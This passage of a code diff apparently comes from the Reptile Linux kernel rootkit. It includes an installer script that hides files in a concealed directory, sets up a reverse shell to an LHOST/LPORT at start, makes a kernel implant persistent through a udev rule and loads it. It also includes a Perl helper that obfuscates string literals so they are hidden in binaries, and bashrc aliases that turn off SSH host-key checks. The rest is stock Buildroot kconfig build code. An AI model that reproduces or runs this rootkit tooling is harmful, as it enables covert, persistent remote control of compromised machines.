||||
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
|
||||
alias ls='ls --color=auto'
|
||||
alias grep='grep --color=auto'
|
||||
fi
|
||||
|
||||
alias l=ls
|
||||
alias ll='ls --color=auto -AlFhn'
|
||||
alias rm='rm -rfv'
|
||||
alias nano='nano -ELSit'
|
||||
alias s="ssh -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null' -o 'ServerAliveInterval 30'"
|
||||
alias sc="scp -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null'"
|
||||
|
||||
if ! shopt -oq posix; then
|
||||
if [ -f /usr/share/bash-completion/bash_completion ]; then
|
||||
. /usr/share/bash-completion/bash_completion
|
||||
elif [ -f /etc/bash_completion ]; then
|
||||
. /etc/bash_completion
|
||||
fi
|
||||
fi
|
@ -0,0 +1,37 @@
|
||||
#!/usr/bin/perl -w
|
||||
#
|
||||
# Author: Ilya V. Matveychikov
|
||||
#
|
||||
# https://github.com/milabs
|
||||
#
|
||||
|
||||
use FindBin qw($Bin);
|
||||
use lib "$Bin/lib";
|
||||
use Unescape;
|
||||
|
||||
sub translate($) {
|
||||
my $str = shift;
|
||||
|
||||
my $i = 0;
|
||||
my @tokens = ();
|
||||
push @tokens, "unsigned int *p = __builtin_alloca(%d)";
|
||||
map { push @tokens, sprintf("p[%d] = 0x%08x", $i++, $_) } unpack("V*", pack("(C4)*", unpack("C*", String::Unescape->unescape($str)), 0));
|
||||
push @tokens, "(char *)p";
|
||||
my $body = join("; ", @tokens);
|
||||
|
||||
return sprintf("({ $body; })", scalar($i) << 2);
|
||||
}
|
||||
|
||||
while (my $line = <STDIN>) {
|
||||
|
||||
next if ($line =~ /asm/);
|
||||
next if ($line =~ /include/);
|
||||
next if ($line =~ /__attribute__/);
|
||||
|
||||
while ($line =~ /"(.*?)"/) {
|
||||
my $replace = translate($1);
|
||||
$line =~ s/(".*?")/$replace/;
|
||||
}
|
||||
} continue {
|
||||
print "$line"
|
||||
}
|
@ -0,0 +1,65 @@
|
||||
#!/bin/bash
|
||||
|
||||
function random_gen_dec {
|
||||
RETVAL=$(shuf -i 50-99 -n 1)
|
||||
}
|
||||
|
||||
PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)"
|
||||
[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)"
|
||||
source "${BASH_SOURCE%/*}/../.config" || \
|
||||
{ echo "Error: no .config file found!"; exit; }
|
||||
|
||||
UDEV_DIR=/lib/udev
|
||||
random_gen_dec && NAME=$RETVAL-$HIDE.rules
|
||||
RULE=/lib/udev/rules.d/$NAME
|
||||
[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME
|
||||
|
||||
# Create Reptile's folder
|
||||
mkdir -p /$HIDE && \
|
||||
|
||||
# Copy "cmd" binary
|
||||
cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \
|
||||
|
||||
# Copy "shell" binary
|
||||
cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \
|
||||
|
||||
# Copy "bashrc"
|
||||
cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \
|
||||
|
||||
# Create start script
|
||||
cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \
|
||||
if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then
|
||||
sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \
|
||||
sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \
|
||||
true || false;
|
||||
fi
|
||||
|
||||
# Permissions
|
||||
chmod 777 /$HIDE/* && \
|
||||
|
||||
# Copy kernel implant
|
||||
cp $PWD/../output/reptile /$HIDE/$HIDE && \
|
||||
|
||||
# Make persistent
|
||||
cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \
|
||||
cp $PWD/../scripts/rule $RULE && \
|
||||
|
||||
# cleaning output dir
|
||||
rm -rf $PWD/../output && \
|
||||
|
||||
# Load Reptile
|
||||
/$HIDE/$HIDE && \
|
||||
|
||||
echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
|
||||
|
||||
# How to Uninstall
|
||||
echo -e "UNINSTALL:\n"
|
||||
echo -e "/$HIDE/$HIDE""_cmd show"
|
||||
echo -e "rmmod reptile_module"
|
||||
echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE"
|
||||
echo
|
@ -0,0 +1,60 @@
|
||||
#
|
||||
# Default stand alone makefile for kconfig.
|
||||
#
|
||||
# The Makefile and Makefile.br in this directory should
|
||||
# not be called directly for standalone build.
|
||||
# Actually they are included by this makefile.
|
||||
#
|
||||
|
||||
##
|
||||
# Makefile parameters.
|
||||
#
|
||||
# The parameters are configured as for kernel build
|
||||
# by default. Override them for your application
|
||||
# setting.
|
||||
#
|
||||
|
||||
# TOP srcdir and this srcdir (relative to TOPDIR)
|
||||
TOPDIR=.
|
||||
SRCDIR=.
|
||||
|
||||
# O: output directory (objs/exes), default to src dir
|
||||
O=$(TOPDIR)/$(SRCDIR)
|
||||
|
||||
# Build configuration
|
||||
KBUILD_KCONFIG=Kconfig
|
||||
KBUILD_CONFIG_DIR=configs
|
||||
KBUILD_DEFCONFIG=defconfig
|
||||
|
||||
# Product information (exported)
|
||||
export PRODUCT_ENV=KCONFIG
|
||||
export PRODUCT=Kernel
|
||||
export PRODUCT_VERSION=<undefined version>
|
||||
export PRODUCT_DOMAIN=kernel.org
|
||||
|
||||
# Kconfig configuration (exported)
|
||||
export $(PRODUCT_ENV)_CONFIG=.config
|
||||
|
||||
|
||||
# End of Makefile parameters.
|
||||
##
|
||||
|
||||
##
|
||||
# Makefile adaptation/inclusion.
|
||||
|
||||
# Buid vars
|
||||
HOSTCC=$(CC)
|
||||
HOSTCXX=$(CXX)
|
||||
HOSTCFLAGS=-O2 -g
|
||||
HOSTCXXFLAGS=-O2 -g
|
||||
srctree=$(TOPDIR)
|
||||
src=$(TOPDIR)/$(SRCDIR)
|
||||
obj=$(O)
|
||||
|
||||
# Enable execution from Makefile *conf programs
|
||||
export PATH:=$(PATH):$(obj)
|
||||
|
||||
include $(TOPDIR)/$(SRCDIR)/Makefile.br
|
||||
|
||||
# End of Makefile adaptation/inclusion.
|
||||
##
|
@ -0,0 +1,324 @@
|
||||
# ===========================================================================
|
||||
# Kernel configuration targets
|
||||
# These targets are used from top-level makefile
|
||||
|
||||
PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \
|
||||
localmodconfig localyesconfig
|
||||
|
||||
ifdef KBUILD_KCONFIG
|
||||
Kconfig := $(KBUILD_KCONFIG)
|
||||
else
|
||||
Kconfig := Kconfig
|
||||
endif
|
||||
|
||||
ifndef KBUILD_CONFIG_DIR
|
||||
KBUILD_CONFIG_DIR=arch/$(SRCARCH)/configs
|
||||
endif
|
||||
|
||||
# We need this, in case the user has it in its environment
|
||||
unexport CONFIG_
|
||||
|
||||
xconfig: $(obj)/qconf
|
||||
$< $(Kconfig)
|
||||
|
||||
gconfig: $(obj)/gconf
|
||||
$< $(Kconfig)
|
||||
|
||||
menuconfig: $(obj)/mconf
|
||||
$< $(Kconfig)
|
||||
|
||||
config: $(obj)/conf
|
||||
$< --oldaskconfig $(Kconfig)
|
||||
|
||||
nconfig: $(obj)/nconf
|
||||
$< $(Kconfig)
|
||||
|
||||
oldconfig: $(obj)/conf
|
||||
$< --$@ $(Kconfig)
|
||||
|
||||
silentoldconfig: $(obj)/conf
|
||||
$(Q)mkdir -p include/generated
|
||||
$< --$@ $(Kconfig)
|
||||
|
||||
localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf
|
||||
$(Q)mkdir -p include/generated
|
||||
$(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config
|
||||
$(Q)if [ -f .config ]; then \
|
||||
cmp -s .tmp.config .config || \
|
||||
(mv -f .config .config.old.1; \
|
||||
mv -f .tmp.config .config; \
|
||||
$(obj)/conf --silentoldconfig $(Kconfig); \
|
||||
mv -f .config.old.1 .config.old) \
|
||||
else \
|
||||
mv -f .tmp.config .config; \
|
||||
$(obj)/conf --silentoldconfig $(Kconfig); \
|
||||
fi
|
||||
$(Q)rm -f .tmp.config
|
||||
|
||||
# Create new linux.pot file
|
||||
# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files
|
||||
update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h
|
||||
$(Q)echo " GEN config.pot"
|
||||
$(Q)xgettext --default-domain=linux \
|
||||
--add-comments --keyword=_ --keyword=N_ \
|
||||
--from-code=UTF-8 \
|
||||
--files-from=$(srctree)/scripts/kconfig/POTFILES.in \
|
||||
--directory=$(srctree) --directory=$(objtree) \
|
||||
--output $(obj)/config.pot
|
||||
$(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot
|
||||
$(Q)(for i in `ls $(srctree)/arch/*/Kconfig \
|
||||
$(srctree)/arch/*/um/Kconfig`; \
|
||||
do \
|
||||
echo " GEN $$i"; \
|
||||
$(obj)/kxgettext $$i \
|
||||
>> $(obj)/config.pot; \
|
||||
done )
|
||||
$(Q)echo " GEN linux.pot"
|
||||
$(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \
|
||||
--output $(obj)/linux.pot
|
||||
$(Q)rm -f $(obj)/config.pot
|
||||
|
||||
PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig
|
||||
|
||||
allnoconfig allyesconfig allmodconfig alldefconfig randconfig: $(obj)/conf
|
||||
$< --$@ $(Kconfig)
|
||||
|
||||
PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig
|
||||
|
||||
listnewconfig olddefconfig: $(obj)/conf
|
||||
$< --$@ $(Kconfig)
|
||||
|
||||
# oldnoconfig is an alias of olddefconfig, because people already are dependent
|
||||
# on its behavior(sets new symbols to their default value but not 'n') with the
|
||||
# counter-intuitive name.
|
||||
oldnoconfig: $(obj)/conf
|
||||
$< --olddefconfig $(Kconfig)
|
||||
|
||||
savedefconfig: $(obj)/conf
|
||||
$< --$@=defconfig $(Kconfig)
|
||||
|
||||
defconfig: $(obj)/conf
|
||||
ifeq ($(KBUILD_DEFCONFIG),)
|
||||
$< --defconfig $(Kconfig)
|
||||
else
|
||||
@echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'"
|
||||
$(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$(KBUILD_DEFCONFIG) $(Kconfig)
|
||||
endif
|
||||
|
||||
%_defconfig: $(obj)/conf
|
||||
$(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$@ $(Kconfig)
|
||||
|
||||
# Help text used by make help
|
||||
help:
|
||||
@echo ' config - Update current config utilising a line-oriented program'
|
||||
@echo ' nconfig - Update current config utilising a ncurses menu based program'
|
||||
@echo ' menuconfig - Update current config utilising a menu based program'
|
||||
@echo ' xconfig - Update current config utilising a QT based front-end'
|
||||
@echo ' gconfig - Update current config utilising a GTK based front-end'
|
||||
@echo ' oldconfig - Update current config utilising a provided .config as base'
|
||||
@echo ' localmodconfig - Update current config disabling modules not loaded'
|
||||
@echo ' localyesconfig - Update current config converting local mods to core'
|
||||
@echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps'
|
||||
@echo ' defconfig - New config with default from ARCH supplied defconfig'
|
||||
@echo ' savedefconfig - Save current config as ./defconfig (minimal config)'
|
||||
@echo ' allnoconfig - New config where all options are answered with no'
|
||||
@echo ' allyesconfig - New config where all options are accepted with yes'
|
||||
@echo ' allmodconfig - New config selecting modules when possible'
|
||||
@echo ' alldefconfig - New config with all symbols set to default'
|
||||
@echo ' randconfig - New config with random answer to all options'
|
||||
@echo ' listnewconfig - List new options'
|
||||
@echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value'
|
||||
|
||||
# lxdialog stuff
|
||||
check-lxdialog := $(src)/lxdialog/check-lxdialog.sh
|
||||
|
||||
# Use recursively expanded variables so we do not call gcc unless
|
||||
# we really need to do so. (Do not call gcc as part of make mrproper)
|
||||
HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \
|
||||
-DLOCALE
|
||||
|
||||
# ===========================================================================
|
||||
# Shared Makefile for the various kconfig executables:
|
||||
# conf: Used for defconfig, oldconfig and related targets
|
||||
# nconf: Used for the nconfig target.
|
||||
# Utilizes ncurses
|
||||
# mconf: Used for the menuconfig target
|
||||
# Utilizes the lxdialog package
|
||||
# qconf: Used for the xconfig target
|
||||
# Based on QT which needs to be installed to compile it
|
||||
# gconf: Used for the gconfig target
|
||||
# Based on GTK which needs to be installed to compile it
|
||||
# object files used by all kconfig flavours
|
||||
|
||||
lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o
|
||||
lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o
|
||||
|
||||
conf-objs := conf.o zconf.tab.o
|
||||
mconf-objs := mconf.o zconf.tab.o $(lxdialog)
|
||||
nconf-objs := nconf.o zconf.tab.o nconf.gui.o
|
||||
kxgettext-objs := kxgettext.o zconf.tab.o
|
||||
qconf-cxxobjs := qconf.o
|
||||
qconf-objs := zconf.tab.o
|
||||
gconf-objs := gconf.o zconf.tab.o
|
||||
|
||||
hostprogs-y := conf
|
||||
|
||||
ifeq ($(MAKECMDGOALS),nconfig)
|
||||
hostprogs-y += nconf
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS),menuconfig)
|
||||
hostprogs-y += mconf
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS),update-po-config)
|
||||
hostprogs-y += kxgettext
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS),xconfig)
|
||||
qconf-target := 1
|
||||
endif
|
||||
ifeq ($(MAKECMDGOALS),gconfig)
|
||||
gconf-target := 1
|
||||
endif
|
||||
|
||||
|
||||
ifeq ($(qconf-target),1)
|
||||
hostprogs-y += qconf
|
||||
endif
|
||||
|
||||
ifeq ($(gconf-target),1)
|
||||
hostprogs-y += gconf
|
||||
endif
|
||||
|
||||
clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck
|
||||
clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h
|
||||
clean-files += mconf qconf gconf nconf
|
||||
clean-files += config.pot linux.pot
|
||||
clean-files += *.o
|
||||
|
||||
# Check that we have the required ncurses stuff installed for lxdialog (menuconfig)
|
||||
PHONY += $(obj)/dochecklxdialog
|
||||
$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog
|
||||
$(obj)/dochecklxdialog:
|
||||
@$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf)
|
||||
|
||||
always := dochecklxdialog
|
||||
|
||||
# Add environment specific flags
|
||||
HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(src)/check.sh $(HOSTCC) $(HOSTCFLAGS))
|
||||
|
||||
# generated files seem to need this to find local include files
|
||||
HOSTCFLAGS_zconf.lex.o := -I$(src)
|
||||
HOSTCFLAGS_zconf.tab.o := -I$(src)
|
||||
|
||||
LEX_PREFIX_zconf := zconf
|
||||
YACC_PREFIX_zconf := zconf
|
||||
|
||||
HOSTLOADLIBES_qconf = $(KC_QT_LIBS)
|
||||
HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS)
|
||||
|
||||
HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0`
|
||||
HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \
|
||||
-Wno-missing-prototypes
|
||||
|
||||
HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) -ldflags $(HOSTCC))
|
||||
|
||||
HOSTLOADLIBES_nconf = $(shell \
|
||||
pkg-config --libs menu panel ncurses 2>/dev/null \
|
||||
|| echo "-lmenu -lpanel -lncurses" )
|
||||
$(obj)/qconf.o: $(obj)/.tmp_qtcheck
|
||||
|
||||
ifeq ($(qconf-target),1)
|
||||
$(obj)/.tmp_qtcheck: $(src)/Makefile
|
||||
-include $(obj)/.tmp_qtcheck
|
||||
|
||||
# QT needs some extra effort...
|
||||
$(obj)/.tmp_qtcheck:
|
||||
@set -e; echo " CHECK qt"; dir=""; pkg=""; \
|
||||
if ! pkg-config --exists QtCore 2> /dev/null; then \
|
||||
echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \
|
||||
pkg-config --exists qt 2> /dev/null && pkg=qt; \
|
||||
pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \
|
||||
if [ -n "$$pkg" ]; then \
|
||||
cflags="\$$(shell pkg-config $$pkg --cflags)"; \
|
||||
libs="\$$(shell pkg-config $$pkg --libs)"; \
|
||||
moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \
|
||||
dir="$$(pkg-config $$pkg --variable=prefix)"; \
|
||||
else \
|
||||
for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \
|
||||
if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \
|
||||
done; \
|
||||
if [ -z "$$dir" ]; then \
|
||||
echo >&2 "*"; \
|
||||
echo >&2 "* Unable to find any QT installation. Please make sure that"; \
|
||||
echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \
|
||||
echo >&2 "* either qmake can be found or install pkg-config or set"; \
|
||||
echo >&2 "* the QTDIR environment variable to the correct location."; \
|
||||
echo >&2 "*"; \
|
||||
false; \
|
||||
fi; \
|
||||
libpath=$$dir/lib; lib=qt; osdir=""; \
|
||||
$(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \
|
||||
osdir=x$$($(HOSTCXX) -print-multi-os-directory); \
|
||||
test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \
|
||||
test -f $$libpath/libqt-mt.so && lib=qt-mt; \
|
||||
cflags="-I$$dir/include"; \
|
||||
libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \
|
||||
moc="$$dir/bin/moc"; \
|
||||
fi; \
|
||||
if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \
|
||||
echo "*"; \
|
||||
echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \
|
||||
echo "*"; \
|
||||
moc="/usr/bin/moc"; \
|
||||
fi; \
|
||||
else \
|
||||
cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \
|
||||
libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \
|
||||
moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \
|
||||
[ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \
|
||||
fi; \
|
||||
echo "KC_QT_CFLAGS=$$cflags" > $@; \
|
||||
echo "KC_QT_LIBS=$$libs" >> $@; \
|
||||
echo "KC_QT_MOC=$$moc" >> $@
|
||||
endif
|
||||
|
||||
$(obj)/gconf.o: $(obj)/.tmp_gtkcheck
|
||||
|
||||
ifeq ($(gconf-target),1)
|
||||
-include $(obj)/.tmp_gtkcheck
|
||||
|
||||
# GTK needs some extra effort, too...
|
||||
$(obj)/.tmp_gtkcheck:
|
||||
@if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \
|
||||
if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \
|
||||
touch $@; \
|
||||
else \
|
||||
echo >&2 "*"; \
|
||||
echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \
|
||||
echo >&2 "*"; \
|
||||
false; \
|
||||
fi \
|
||||
else \
|
||||
echo >&2 "*"; \
|
||||
echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \
|
||||
echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \
|
||||
echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \
|
||||
echo >&2 "*"; \
|
||||
false; \
|
||||
fi
|
||||
endif
|
||||
|
||||
$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c
|
||||
|
||||
$(obj)/qconf.o: $(obj)/qconf.moc
|
||||
|
||||
$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck
|
||||
$(KC_QT_MOC) -i $< -o $@
|
||||
|
||||
# Extract gconf menu items for I18N support
|
||||
$(obj)/gconf.glade.h: $(obj)/gconf.glade
|
||||
$(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \
|
||||
$(obj)/gconf.glade
|
||||
|
@ -0,0 +1,60 @@
|
||||
src ?= .
|
||||
top_srcdir ?= ../../
|
||||
top_builddir ?= ../../
|
||||
srctree ?= .
|
||||
obj ?= .
|
||||
|
||||
include $(src)/Makefile
|
||||
#HOSTCFLAGS+=-Dinline="" -include foo.h
|
||||
-include $(obj)/.depend
|
||||
$(obj)/.depend: $(wildcard *.h *.c)
|
||||
@$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || :
|
||||
@echo " HOSTCC $@"
|
||||
|
||||
__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m))
|
||||
host-csingle := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m))))
|
||||
host-cmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\
|
||||
$(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m)))))
|
||||
host-cxxmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\
|
||||
$(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),))))
|
||||
host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs))))
|
||||
host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs))))
|
||||
|
||||
HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\"
|
||||
|
||||
$(host-csingle): %: %.c
|
||||
@$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $< -o $@
|
||||
@echo " HOSTCC $@"
|
||||
|
||||
$(host-cmulti): %: $(host-cobjs) $(host-cshlib)
|
||||
@$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $@
|
||||
@echo " HOSTLD $@"
|
||||
|
||||
$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib)
|
||||
@$(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $@
|
||||
@echo " HOSTLD $@"
|
||||
|
||||
$(obj)/%.o: %.c
|
||||
@$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
|
||||
@echo " HOSTCC $@"
|
||||
|
||||
$(obj)/%.o: $(obj)/%.c
|
||||
@$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
|
||||
@echo " HOSTCC $@"
|
||||
|
||||
$(obj)/%.o: %.cc
|
||||
@$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@
|
||||
@echo " HOSTCC $@"
|
||||
|
||||
$(obj)/%:: $(src)/%_shipped
|
||||
@$(Q)cat $< > $@
|
||||
|
||||
clean:
|
||||
$(Q)rm -f $(addprefix $(obj)/,$(clean-files))
|
||||
distclean: clean
|
||||
$(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \
|
||||
$(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \
|
||||
mconf .depend)
|
||||
|
||||
FORCE:
|
||||
.PHONY: FORCE clean distclean
|
@ -0,0 +1,12 @@
|
||||
scripts/kconfig/lxdialog/checklist.c
|
||||
scripts/kconfig/lxdialog/inputbox.c
|
||||
scripts/kconfig/lxdialog/menubox.c
|
||||
scripts/kconfig/lxdialog/textbox.c
|
||||
scripts/kconfig/lxdialog/util.c
|
||||
scripts/kconfig/lxdialog/yesno.c
|
||||
scripts/kconfig/mconf.c
|
||||
scripts/kconfig/conf.c
|
||||
scripts/kconfig/confdata.c
|
||||
scripts/kconfig/gconf.c
|
||||
scripts/kconfig/gconf.glade.h
|
||||
scripts/kconfig/qconf.cc
|
@ -0,0 +1,20 @@
|
||||
This is a copy of the kconfig code in the kernel (currently 3.13-rc5) tweaked
|
||||
to suit Buildroot.
|
||||
|
||||
To update:
|
||||
cp -r /usr/src/linux/scripts/kconfig support/kconfig.new
|
||||
cd support/kconfig.new
|
||||
cp -a ../kconfig/patches ../kconfig/README.buildroot ../kconfig/.gitignore .
|
||||
quilt push -a
|
||||
# Fix any conflict
|
||||
cd ..
|
||||
rm -rf kconfig
|
||||
mv kconfig.new kconfig
|
||||
|
||||
Then verify the toplevel targets work:
|
||||
config
|
||||
defconfig
|
||||
menuconfig
|
||||
xconfig
|
||||
gconfig
|
||||
oldconfig
|
@ -0,0 +1,14 @@
|
||||
#!/bin/sh
|
||||
# Needed for systems without gettext
|
||||
$* -x c -o /dev/null - > /dev/null 2>&1 << EOF
|
||||
#include <libintl.h>
|
||||
int main()
|
||||
{
|
||||
gettext("");
|
||||
return 0;
|
||||
}
|
||||
EOF
|
||||
if [ ! "$?" -eq "0" ]; then
|
||||
echo -DKBUILD_NO_NLS;
|
||||
fi
|
||||
|
@ -0,0 +1,717 @@
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#include <locale.h>
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include <getopt.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "lkc.h"
|
||||
|
||||
static void conf(struct menu *menu);
|
||||
static void check_conf(struct menu *menu);
|
||||
static void xfgets(char *str, int size, FILE *in);
|
||||
|
||||
enum input_mode {
|
||||
oldaskconfig,
|
||||
silentoldconfig,
|
||||
oldconfig,
|
||||
allnoconfig,
|
||||
allyesconfig,
|
||||
allmodconfig,
|
||||
alldefconfig,
|
||||
randconfig,
|
||||
defconfig,
|
||||
savedefconfig,
|
||||
listnewconfig,
|
||||
olddefconfig,
|
||||
} input_mode = oldaskconfig;
|
||||
|
||||
static int indent = 1;
|
||||
static int tty_stdio;
|
||||
static int valid_stdin = 1;
|
||||
static int sync_kconfig;
|
||||
static int conf_cnt;
|
||||
static char line[128];
|
||||
static struct menu *rootEntry;
|
||||
|
||||
static void print_help(struct menu *menu)
|
||||
{
|
||||
struct gstr help = str_new();
|
||||
|
||||
menu_get_ext_help(menu, &help);
|
||||
|
||||
printf("\n%s\n", str_get(&help));
|
||||
str_free(&help);
|
||||
}
|
||||
|
||||
static void strip(char *str)
|
||||
{
|
||||
char *p = str;
|
||||
int l;
|
||||
|
||||
while ((isspace(*p)))
|
||||
p++;
|
||||
l = strlen(p);
|
||||
if (p != str)
|
||||
memmove(str, p, l + 1);
|
||||
if (!l)
|
||||
return;
|
||||
p = str + l - 1;
|
||||
while ((isspace(*p)))
|
||||
*p-- = 0;
|
||||
}
|
||||
|
||||
static void check_stdin(void)
|
||||
{
|
||||
if (!valid_stdin) {
|
||||
printf(_("aborted!\n\n"));
|
||||
printf(_("Console input/output is redirected. "));
|
||||
printf(_("Run 'make oldconfig' to update configuration.\n\n"));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
static int conf_askvalue(struct symbol *sym, const char *def)
|
||||
{
|
||||
enum symbol_type type = sym_get_type(sym);
|
||||
|
||||
if (!sym_has_value(sym))
|
||||
printf(_("(NEW) "));
|
||||
|
||||
line[0] = '\n';
|
||||
line[1] = 0;
|
||||
|
||||
if (!sym_is_changable(sym)) {
|
||||
printf("%s\n", def);
|
||||
line[0] = '\n';
|
||||
line[1] = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
switch (input_mode) {
|
||||
case oldconfig:
|
||||
case silentoldconfig:
|
||||
if (sym_has_value(sym)) {
|
||||
printf("%s\n", def);
|
||||
return 0;
|
||||
}
|
||||
check_stdin();
|
||||
/* fall through */
|
||||
case oldaskconfig:
|
||||
fflush(stdout);
|
||||
xfgets(line, 128, stdin);
|
||||
if (!tty_stdio)
|
||||
printf("\n");
|
||||
return 1;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch (type) {
|
||||
case S_INT:
|
||||
